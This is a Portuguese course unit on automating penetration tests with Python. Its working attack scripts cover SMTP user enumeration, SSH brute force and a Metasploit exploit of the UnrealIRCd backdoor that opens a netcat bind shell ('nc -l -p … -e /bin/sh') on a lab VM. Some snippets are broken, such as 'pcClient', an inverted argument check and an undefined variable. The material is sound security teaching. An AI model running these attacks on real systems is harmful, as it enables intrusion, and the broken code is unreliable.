Ethical Hacking

Prévia do material em texto

Inserir Título Aqui 
Inserir Título Aqui
Ethical Hacking
Automacao do Processo de Penetration Testing
Responsável pelo Conteúdo:
Prof. Ms. Sandro Pereira de Melo
Revisão Textual:
Prof. Ms. Claudio Brites
Nesta unidade, trabalharemos os seguintes tópicos:
• Introdução ao Tema
• Orientações para Leitura Obrigatória
• Material Complementar Fonte: iStock/Getty Im
ages
Objetivos
• Estudo de temáticas relevantes para o contexto de Segurança de Informação, com ênfa-
se na aplicação de técnicas para a automação de procedimentos e para a realização de 
testes de intrusão baseados em técnicas e ferramentas para Ethical Hacking, também 
conhecidos como Penetration Testing ou Pentest.
Normalmente, com a correria do dia a dia, não nos organizamos e deixamos para o 
último momento o acesso ao estudo, o que implicará o não aprofundamento no material 
trabalhado ou, ainda, a perda dos prazos para o lançamento das atividades solicitadas.
Assim, organize seus estudos de maneira que entrem na sua rotina. Por exemplo, você 
poderá escolher um dia ao longo da semana ou um determinado horário todos ou alguns 
dias e determinar como o seu “momento do estudo”.
No material de cada Unidade, há videoaulas e leituras indicadas, assim como sugestões 
de materiais complementares, elementos didáticos que ampliarão sua interpretação e 
auxiliarão o pleno entendimento dos temas abordados.
Após o contato com o conteúdo proposto, participe dos debates mediados em fóruns de 
discussão, pois estes ajudarão a verificar o quanto você absorveu do conteúdo, além de 
propiciar o contato com seus colegas e tutores, o que se apresenta como rico espaço de 
troca de ideias e aprendizagem.
Bons Estudos!
Automacao do Processo de Penetration Testing
UNIDADE 
Automacao do Processo de Penetration Testing
Introdução ao Tema
Contextualização sobre a Ethical Hacking
Esta unidade tem como objetivo abordar dois temas fundamentais à nossa disciplina: 
a importância do uso da automação no processo de um Penetration Testing e o uso da 
linguagem Python nesse contexto.
Para ter sucesso no processo de Penetration Testing, a experiência do especialista 
fará toda a diferença, pois é um fato que a pluralidade de tecnologias cria um cenário em 
que não necessariamente o especialista terá total expertise sobre a tecnologia que estará 
auditando, mas precisará orquestrar um um processo claro e fundamentado nas boas 
práticas sugeridas em documentos como: PTES, OSSTMM, OWASP, NIST 800-115; o 
que fará que, mesmo sem tal expertise, ainda assim seja possível ter sucesso.
Correlacionando todas as informações levantadas em outras etapas do Penetration 
Testing com as informações da Análise de Vulnerabilidade, é interessante e fortemente 
recomendável que o especialista busque o máximo de informações sobre as vulnerabili-
dades identificadas, elencando também as informações fornecidas em sites de registro 
de vulnerabilidades e nas notificações de vulnerabilidades do fabricante do software 
ou do programador responsável pelo projeto desse software, no caso de uma solução 
FOSS (Free and Open Source Software).
Diante desse fato, o uso da base de conhecimento do site www.exploit-db.com e da 
ferramenta Metasploit Framework serão fundamentais, pois proporcionam ao Pentester 
uma quantidade ampla de exploit; todavia, ainda sim, limitada, pois não necessariamente 
tais ferramentas ofertarão exploits para todas as vulnerabilidades publicadas.
Outro ponto é que tais ferramentas são importantes e necessárias, mas serão úteis 
na parte do processo de Penetration Testing que pode ser automatizada. Todavia, 
quando têm-se aplicações envolvidas na auditoria, como aplicações web e mobile, serão 
necessários testes manuais, em que o especialista terá que avaliar a aplicação e lógica de 
negócio utilizada, para tentar complementar a tecnologia e/ou essa lógica do negócio.
Considerando esse fato, é interessante que o Pentester tente automatizar tudo o que 
for possível, pois, mesmo existindo ferramentas muito poderosas, elas são pontuais, 
ou seja, um Pentester pode usar Port Scanner, identificar estados de portas com uso 
de um bom como o Nmap, um Scanner de Vulnerabilidade como o Nessus. Por sua 
vez, para elencar as vulnerabilidades, utiliza de ferramentas como o Metasploit para 
permitir explorar as vulnerabilidades para as quais o Metasploit tem exploit, salvo se o 
especialista desenvolver seu próprio exploit,
6
7
Mas, ainda assim, sendo um Pentester, terá que executar ferramenta a ferramenta, 
embora um Pentester experiente possa automatizar com esse processo com o auxílio 
de uma linguagem como a Python. Poderá automatizar todo o processo e a execução de 
cada ferramenta na respectiva etapa, recebendo os dados resultantes da execução com 
a possibilidade de parametrizar etapas seguintes conforme o desenvolvimento de certa 
inteligência gerada pela intepretação de dados.
Automação com Python
A linguagem Python atualmente é uma linguagem muito utilizada no contexto 
daqueles que fazem automação de serviços ou trabalham com aplicações web via 
Django. Entretanto, devido ao grande número de boas bibliotecas, sendo algumas delas 
desenhadas especificamente para auxiliar no processo de automação de Penetration 
Testing, o Python tem sido cada vez mais a escolha dos Pentesters para a criação de 
scripts ou mesmo ferramentas elaboradas para automatizar suas ações.
Em suma, Python é atualmente a linguagem favorita entre muitos especialistas 
para a prática de Segurança Ofensiva, devido à sua facilidade e grande quantidade de 
bibliotecas úteis.
Automação de Ataque de Força Bruta em Serviços de Rede 
Embora seja uma técnica clássica e já muito conhecida, ataques de força bruta ainda 
têm seu espaço em testes de intrusão para ações de tentativa de quebra de algum tipo 
de controle de segurança baseado em credenciais de acesso, tais como:
• uma senha de um arquivo;
• uma senha; 
• hash;
• credenciais a partir de um serviço de rede ou API;
• enumeração de informações via algum serviço ou API.
Esses ataques podem ser facilmente executados via Kali Linux com o uso de ferra-
mentas como HYDRA ou MEDUSA. São ferramentas com múltiplas funcionalidades e 
que possibilitam ataques em uma grande quantidade de protocolos diferentes.
Todavia, existem situações que mesmo com tantas funcionalidades prontas, deseja- 
-se realizar ataques personalizados para um determinado alvo ou mesmo simplesmente 
automatizar um processo. Por esse motivo, o uso do Python é uma solução prática, 
funcional e fácil quando comparado com outras linguagens de programação.
7
UNIDADE 
Automacao do Processo de Penetration Testing
Automação de Ataque de Força Bruta em Serviço 
Pode-se criar scripts com diferentes bibliotecas para teste de força bruta, serviços 
de rede, sendo possível trabalhar de uma forma mais detalhada via biblioteca socket, o 
que demandará tratar os detalhes do protocolo alvo, ou ainda optar por uma biblioteca 
específica como, por exemplo:
• Smtplib – útil para construção de código para interagir com o protocolo SMTP, 
tendo já customizados alguns detalhes do protocolo em questão, o que facilita muito 
o desenvolvimento de scripts curtos, ou seja, poucas linhas de códigos limpos e 
funcionais;
• ftplib – útil para a construção de código para interagir com o protocolo FTP. Bi-
blioteca muito bem customizada e com todas as vantagens citadas para desenvolvi-
mento de código;
• Paramiko – útil para a construção de código para interagir com o serviço SSH, 
sua biblioteca é muito bem customizada e apresenta todas as vantagens citadas 
para o desenvolvimento de código, possibilitando utilizar todos os recursos do 
SSH na sua totalidade.
Essas três bibliotecas são alguns dos exemplos entre tantas outras bibliotecas 
disponíveis para Python.
Script de Força Bruta para SMTP baseado na biblioteca Socket
A construção de socket em Python é muito simplificada, com poucas linhas tem-se 
uma definição de socket. Contudo, isso demanda conhecer detalhes doprotocolo alvo, 
pois os detalhes da tratativa deverão ser codificados – o que é diferente quando já se tem 
uma biblioteca customizada para o protocolo em questão.
Segue exemplo de um script simples para avaliar se um servidor SMTP permite 
consultar se uma determinada conta existe através do comando VRFY. Nesse script, só 
estão sendo tratados dois códigos de resposta SMTP, segue:
• 252 – Quando o resultado do comando é positivo, ou seja, a conta consultada existe.
• 550 – Quando o resultado para consulta é negativo, ou seja, a conta consultada 
não existe
import socket
ip = “192.168.100.16”
port = 25
user = “msfadmin”
timeout_value = 2
8
9
def func_xpl_vrfy():
 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.settimeout(timeout_value)
 connect=s.connect((ip,port))
 banner=s.recv(1024)
 command=’VRFY ‘ + user + ‘\n’
 s.send(command)
 result=s.recv(1024)
 return result
VRFYTEST=func_xpl_vrfy()
VRFYCODE = VRFYTEST.split(‘ ‘)
if “252” in str(VRFYCODE):
 print (“[*] BINDO - O nome do usuario ‘%s’ eh uma conta valida!!! “) 
% (user)
if “550” in str(VRFYCODE):
 print (“[*] FALHOU - O nome do usuario ‘%s’ NAO eh uma conta 
valida!!! “) % (user)
Baseando-se no script anterior, um Pentester pode fazer uma enumeração de contas 
no servidor SMTP a partir do comando VRFY, montando um pequeno dicionário com 
uma lista de possíveis nomes e, via força bruta, elencar quais contas existem no servidor 
alvo. Segue um exemplo com poucas linhas de código, destinado a esse propósito:
import socket
ip = “192.168.100.16”
port = 25
timeout_value = 2
def func_xpl_vrfy(_USERNAME):
 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.settimeout(timeout_value)
9
UNIDADE 
Automacao do Processo de Penetration Testing
 connect=s.connect((ip,port))
 banner=s.recv(1024)
 command=’VRFY ‘ + _USERNAME + ‘\n’
 s.send(command)
 result=s.recv(1024)
 return result
with open(‘userlist.txt’) as _DICIONARIO:
 for _USERNAME in _DICIONARIO:
 VRFYTEST=func_xpl_vrfy(_USERNAME)
 VRFYCODE = VRFYTEST[:3]
 if “252” in str(VRFYCODE):
 print(“[*] BINDO - O nome do usuario -> “ + _USERNAME + “ 
eh uma conta valida!!! “)
 if “550” in str(VRFYCODE):
 print(“[!] FALHOU - O nome do usuario “ + _USERNAME + “ 
NAO eh uma conta valida!!! “)
 if “503” in str(VRFYCODE):
 print(“[!] PROBLEMA - Esse servidor requer autenticacao 
no SMTP!!! “)
 if “500” in str(VRFYCODE):
 print(“[!] ERRO - O comando VRFY nao eh suportado nesse 
servidor !!! “)
Sendo que, nesse último exemplo, também foram considerados os códigos de 
mensagem SMTP:
• 503 – Que notifica que o servidor alvo requer autenticação; 
• 500 – Informa que o comando VRFY não é suportado no servidor alvo.
Script de Força Bruta para SSH baseado na biblioteca Paramiko
Outro bom exemplo que é comumente alvo de ataques de força bruta é o serviço SSH, 
que é comum em sistema like Unix. Via Python, com o uso da biblioteca Paramiko, é 
possível fazer um script de força bruta com poucas linhas de código.
10
11
Segue um simples exemplo onde o objetivo é testar um login e senha:
import paramiko
import sys
IPADDRESS=”192.168.100.16”
SSHPORT=22
USERNAME = “msfadmin”
PASSWORD = “msfadmin”
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())
try:
 ssh.connect(IPADDRESS , port=SSHPORT, username=USERNAME, 
password=PASSWORD)
 print “BINGO a senha do “ + USERNAME + “ eh: “ + PASSWORD
except paramiko.AuthenticationException, error:
 print “FALHOU - A senha do usuario: “ + USERNAME + “ nao eh: “ 
+ PASSWORD
except socket.error, error:
 print error
except paramiko.SSHException, error:
 print error
 print “Alguma coisa errada com a host key”
Considerando o exemplo anterior, segue um exemplo onde se considera um login e 
uma lista de possíveis senhas:
Varreduras de Portas com a biblioteca Python-nmap
Entre as fases iniciais de um Penetration Testing, a atividade de elencar as portas 
ativas de um determinado host é necessária, pois serviços de redes uma vez vulneráveis 
podem ser um caminho para se comprometer um sistema. Essa aula irá, dentre outros 
objetivos, exemplificar como se deve atuar nessa fase, através da automação dos recursos 
do Nmap via Python.
11
UNIDADE 
Automacao do Processo de Penetration Testing
O requisito para isso é ter o Python e a biblioteca/módulo python-nmap. O Nmap e o 
Python estão disponíveis ou previamente instalados no Kali Linux ou via apt-get, quanto 
ao módulo python-nmap deve ser instalado com o comando pip:
# pip install python-nmap
Collecting python-nmap
 Using cached python-nmap-0.6.1.tar.gz
Installing collected packages: python-nmap
 Running setup.py install for python-nmap ... done
Successfully installed python-nmap-0.6.1
Exemplo simples de varredura PING para identificar host ativo usando grupo de 
máquinas (ex. 192.168.1.1-100) ou de toda uma rede (192.168.0.0/24):
import nmap 
nm = nmap.PortScanner()
host = ‘192.168.0.20-30’
nm.scan(host, ‘1-100’)
 
for host in nm.all_hosts():
 print(‘----------------------------------------------------’)
 print(‘Host : %s (%s)’ % (host, nm[host].hostname()))
 print(‘State : %s’ % nm[host].state())
 print(‘----------------------------------------------------’)
O exemplo a seguir é baseado na mesma biblioteca utilizada no script anterior, sendo 
que neste exemplo o objetivo é encontrar varreduras para identificar o estado da porta. 
Também foi utilizada a biblioteca “sys” para que fosse possível receber parâmetros via 
linha de comando:
‘’’
@author: Sandro Melo
baseado em http://xael.org/norman/python/python-nmap
NMAP integration classes and modules
12
13
‘’’
import nmap
import sys
if len(sys.argv) != 1:
 print(“ “)
 print(“Sintaxe correta.: python %s “ + (str(sys.argv[0])) + “ 
Endereco do Alvo”)
 print(“ Exemplo endereco de rede: python %s “ + (str(sys.
argv[0])) + “ 192.168.0.0/24”)
 print(“ Exemplo grupo de Maquinas: python %s “ + (str(sys.
argv[0])) + “ 192.168.0.1-100”)
 print(“ “)
 sys.exit(1)
 
param1 = str(sys.argv[1])
 
print(“Varredura / PING - alvo IP: %s”) % param1
nm = nmap.PortScanner()
nm.scan(host, ‘1-100’)
 
for host in nm.all_hosts():
 print(‘----------------------------------------------------’)
 print(‘Host : %s (%s)’ % (host, nm[host].hostname()))
 print(‘State : %s’ % nm[host].state())
 print(‘----------------------------------------------------’)
Outra forma de usufruir dos recursos do Nmap é executar uma chamada direta para o 
sistema operacional via função “os.system”, para isso demanda-se importar o módulo “os”.
import os
os.system(“nmap -sV -n -Pn -p22 192.168.0.31”)
Pode-se também executar uma chamada direta para o sistema via função “commands.
getoutput”. Dessa forma, direciona-se a saída do comando para uma variável, o que 
possibilita posteriormente manipular o conteúdo da saída do comando.
13
UNIDADE 
Automacao do Processo de Penetration Testing
import commands
varredura = commands.getoutput(“nmap -sC -n -Pn -p22 192.168.0.31”)
print varredura
Exemplo simples de varredura via execução a partir do shell para fazer uma 
enumeração completa do IP alvo, usando o parâmetro –oA para gerar saída em arquivo 
nos três formatos disponíveis no Nmap:
import commands
import sys
ipalvo = str(sys.argv[1])
varredura = commands.getoutput(“nmap -sV -n -Pn -T5 -p- -oA SCAN_
enumeracao_” + ipalvo + “ “ + ipalvo)
print varredura
Automatização do uso do Metasploit com Python
É possível a automatização da utilização do Metasploit com o uso da biblioteca 
pymetasploit. Para isso, deve-se garantir que o Metasploit está funcionando perfeita-
mente, inclusive a conexão com o banco de dados que estiver em uso. No Kali Linux, 
o banco utilizado é o PostgreSQL, dessa forma, é necessário garantir que ele seja 
devidamente inicializado.# systemctl enable postgresql
# systemctl restart postgresql
Para parametrizar a configuração do Metasploit com o banco, use o comando msfdb, 
como segue:
# msfdb init
Creating database user ‘msf’
Digite a senha para a nova role:
Digite-a novamente:
Creating databases ‘msf’ and ‘msf_test’
Creating configuration file in /usr/share/metasploit-framework/
14
15
config/database.yml
Creating initial database schema
Após isso, deve-se utilizar o msfconsole para entrar no modo CLI interativo do 
Metasploit e validar se o Metasploit está conectado ao banco de dados com o comando 
db_status:
msf > db_status
[*] postgresql connected to msf
Para utilizar o módulo pymetasploit, é necessário ativar a interface RPC do Metasploit. 
Para isso, executa-se o comando:
# msfrpcd -P 123 -U msf -n -f -S
[*] MSGRPC starting on 0.0.0.0:55553 (NO SSL):Msg...
[*] MSGRPC ready at 2017-09-19 20:23:25 -0300.
Caso seja necessário definir um IP específico para Bind ou mesmo somente via 
loopback, basta utilizar a opção “-a”:
msfrpcd -P 123456 -U msf -n -f -S -a 127.0.0.1
[*] MSGRPC starting on 0.0.0.0:55553 (NO SSL):Msg...
[*] MSGRPC ready at 2017-09-19 20:29:67 -0300.
Utilização do Módulo Pymetasploit
Instalação de módulos para suporte ao uso do Metasploit:
# pip search metasploit
metasploit_445 (1.0.0) - metapsloit exploit smb
pymetasploit (1.1) - A full-fledged msfrpc library for Metasploit 
framework.
15
UNIDADE 
Automacao do Processo de Penetration Testing
Instalação do módulo pymetasploit 
# pip install pymetasploit
Segue um exemplo de script para realizar a exploração de vulnerabilidade do serviço 
UnrealIRC, usando o recurso do Metasploit Framework, considerando passagem de pa-
râmetro (IP e Porta) e também controle de erro/exceção para conexão com o MSFRPCD 
e execução do comando netcat para abrir uma porta com acesso shell ao sistema.
Essa vulnerabilidade está presente na máquina virtual Metasploitable v2, disponível 
em: <http:// metasploitable.sf.net>.
Segue o exemplo:
from metasploit.msfrpc import MsfRpcClient
from metasploit.msfconsole import MsfRpcConsole
import sys
###
MSG_CONN = ‘[*] - Keep Walking - A conexao via MSFRPCD - like magic’
MSG_CONS = ‘[*] - Look - Exploiting right now’
MSG_ERRO = ‘[!] - Erro ao conectar ao MsfRpcd, verifique o servico\n’
MSG_TIPS = ‘[!] - Dica: Em outro terminal execute:\n msfrpcd -P 123456 
-U msf -n -f -S -a 127.0.0.1’
MSG_RPCD = ‘[*] - Conexao com Msfrpcd realizada com sucesso!’
 
def printline_number(number):
 print (‘=’* + int(number))
 
if len(sys.argv) !=3:
 printline_number(55)
 print(“Sintaxe correta.: python “ + (str(sys.argv[0])) + “ [IP 
Host Alvo]” + “[ Porta do Netcat]\n”)
 print(“Ex.: python “ + (str(sys.argv[0])) + “ 192.168.0.31 666”)
 printline_number(55)
 sys.exit(1)
 
## parametros recebidos
16
17
ipalvo = str(sys.argv[1])
porta_netcat = str(sys.argv[2])
try:
 client 
=pcClient(user=’msf’,password=’123456’,server=’127.0.0.1’,ssl=False)
except:
 printline_number(55)
 print (str(MSG_ERRO))
 print (str(MSG_TIPS))
 printline_number(55)
 sys.exit(1)
else:
 print (str(MSG_RPCD))
finally:
 printline_number(55)
 
def xpl():
 console = MsfRpcConsole(client)
 console.execute(‘use unix/irc/unreal_ircd_3281_backdoor’)
 console.execute(‘set RHOST ‘ + ipalvo)
 console.execute(‘set VERBOSE True’)
 console.execute(‘set PAYLOAD cmd/unix/generic’)
 console.execute(‘set CMD nc -l -p ‘ + porta_netcat + ‘ -e /bin/
sh &’)
 console.execute(‘exploit’)
xpl()
17
UNIDADE 
Automacao do Processo de Penetration Testing
Orientações para Leitura Obrigatória
Recomendamos como leitura o artigo Guia de Referência para Pentest, da PCI, disponível 
em: https://goo.gl/97IHRL
18
19
Material Complementar
Indicações para saber mais sobre os assuntos abordados nesta Unidade:
 Vídeos
Computação Forense em Imagens Digitais
https://youtu.be/zVcnzG7_f70
Tratamento de Incidentes de Seguranca na Internet, explicado pelo NIC.br
https://youtu.be/flu6JPRHW04
Hackers: Criminosos ou Heróis? [Dublado] Documentário Discovery Science
https://youtu.be/TRDV57B1Khc
 Leitura
Indústria de cartões de pagamento (PCI) - Padrão de Segurança de Dados
https://goo.gl/EmfKQl
19
UNIDADE 
Automacao do Processo de Penetration Testing
Referências
MELO, Sandro. Exploração de Vulnerabilidade em Redes TCP/IP. 3. ed. Rio de 
Janeiro: Editora Altabooks, 2017.
20